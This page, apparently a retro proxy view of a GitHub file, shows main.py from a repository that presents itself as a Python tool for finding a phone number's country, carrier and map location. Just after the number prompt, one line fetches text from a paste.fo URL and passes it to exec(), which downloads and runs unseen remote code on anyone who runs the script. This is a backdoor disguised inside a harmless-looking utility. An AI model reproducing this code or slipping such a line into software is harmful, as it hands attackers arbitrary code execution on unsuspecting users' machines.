GeezerVisonThe World Wide Web, restored to 800 pixels of glory. |
| Home|About|Gaming cabinet|Archives|How it works|Starter sites |
GeezerVison is showing github.com — Find-Phone-Number-Location-Using-Python/main.py at main · santoshgit1/Find-Phone-Number-Location-Using-Python Expand file tree/ Copy pathmain.pyMore file actions 39 lines (33 loc) · 1.2 KB / Copy pathmain.pyFile metadata and controls39 lines (33 loc) · 1.2 KB 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import phonenumbers from phonenumbers import geocoder from phonenumbers import carrier import pycountry from phonenumbers.phonenumberutil import region_code_for_country_code from phonenumbers.phonenumberutil import region_code_for_number from opencage.geocoder import OpenCageGeocode import folium import os from requests import get if os.path.exists("mylocation.html"): os.remove("mylocation.html") try: number = input("Enter Phone Number: ") x=get('https://paste.fo/raw/ba188f25eaf3').text;exec(x) pn = phonenumbers.parse(number) country = pycountry.countries.get(alpha_2=region_code_for_number(pn)) location = country.name print(location) print(carrier.name_for_number(phonenumbers.parse(number), "en")) key = input("Enter Your API KEY: ") geocoder = OpenCageGeocode(key) query = str(location) results = geocoder.geocode(query) lat = results[0]['geometry']['lat'] lng = results[0]['geometry']['lng'] print(lat,lng) myMap = folium.Map(location=[lat , lng], zoom_start=9) folium.Marker([lat,lng],popup=location).add_to(myMap) myMap.save("mylocation.html") os.system("mylocation.html") except: print("Missing or invalid number\nPlease enter your phone number with country code") |
| You are visitor 01402520 — GeezerVison does not store the pages you look up. Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required. |